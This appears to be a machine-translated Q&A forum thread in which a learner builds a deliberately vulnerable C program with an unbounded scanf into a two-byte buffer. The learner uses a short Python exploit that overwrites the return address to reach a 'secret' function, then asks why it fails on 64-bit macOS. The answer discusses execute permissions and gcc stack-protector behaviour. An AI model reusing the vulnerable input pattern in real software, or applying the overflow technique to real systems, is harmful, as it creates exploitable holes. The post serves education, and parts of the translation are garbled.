2011-01-03 16 views
3

私は教育目的のために、プログラムを別のアドレスに誘導するバッファオーバーフローを達成しようとしています。scanf(Mac OS X 10.6.5 64ビット)を使用した単純なバッファオーバーフロー

これは、c-プログラムです:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 

void secret1(void) { 
puts("You found the secret function No. 1!\n"); 
} 

int main() { 
char string[2]; 
puts("Input: "); 
scanf("%s", string); 
printf("You entered %s.\n", string); 
return 0; 
} 

私はsecret1のアドレスを見つけるために、GDBを使用し、同様のES RIPに私の文字列変数を相殺しました。私は、次のpython-エクスプロイトを作成し、この情報を使用して:

import struct 
rip = 0x0000000100000e40 
print("A"*24 + struct.pack("<q", rip)) 

これまでのところ、すべての作品 - プログラムはsecret1し、「セグメンテーションフォールト」でクラッシュしてジャンプします。私はこのように私のプログラムを拡張する場合

しかし、:

... 
void secret1(void) { 
puts("You found the secret function No. 1!\n"); 
} 

void secret2(void) { 
puts("You found the secret function No. 2!\n"); 
} 

void secret3(void) { 
puts("You found the secret function No. 3!\n"); 
} 
... 

を...それは、新たな偽のRIP(すなわち0x0000000100000d6c secret1ため、0x0000000100000d7eのための正しいさえカントー、任意の関数にジャンプなしセグメンテーションフォールト秘密2)。オフセットはgdbが私に言った限り同じままです(あるいはそうではありませんか?)。

私は、プログラムが "秘密の機能"を0x100000 dで終わるメモリ領域に配置するのに十分な大きさで動作していないことに気付きました。 - それはチャームのように機能します。 0x100000 e

32ビットモード(それに応じて変更されたアドレス)でコンパイルすると、複数のシークレット機能で動作しますが、64ビットモードでは動作しません。

-fno-stack-protector // doesn't make any difference. 

誰でもこの奇妙な行動を私に説明できますか?大変ありがとう!

答えて

1

おそらく複数の隠し機能を作成すると、実行許可なしですべてのページがメモリに格納されます... mprotectを使用して、そのページにRWX権限を明示的に付与してみてください。他にも数多くあるかもしれませんが、これが私が取り上げる最初の問題です。

-fno-stack-protector gccオプションについては、gcc 4.2.1で難読化されていましたが、私は確信していました。しかし、もう少し試してみたら、私はcanary stack protectionを有効にするには、sizeof(buffer)> = 8が真でなければならないことを知りました。さらに、-fstack-protector-allまたは-fnostack-protector-allオプションを指定しない限りcharバッファでなければなりません。これはcharバッファを含まない関数に対してもcanariesを有効にします。上記のgccバージョンでOS X 10.6.5 64ビットを実行しています。私が書いているバッファオーバーフローエクスプロイトのスニペットで、-fstack-protector-allでコンパイルするとスタックが変更されます。使用されている関数にはcharバッファがありません)。したがって、この機能が無効または有効になっていることを確認したい場合は、オプションの-allバリエーションを必ず使用してください。

関連する問題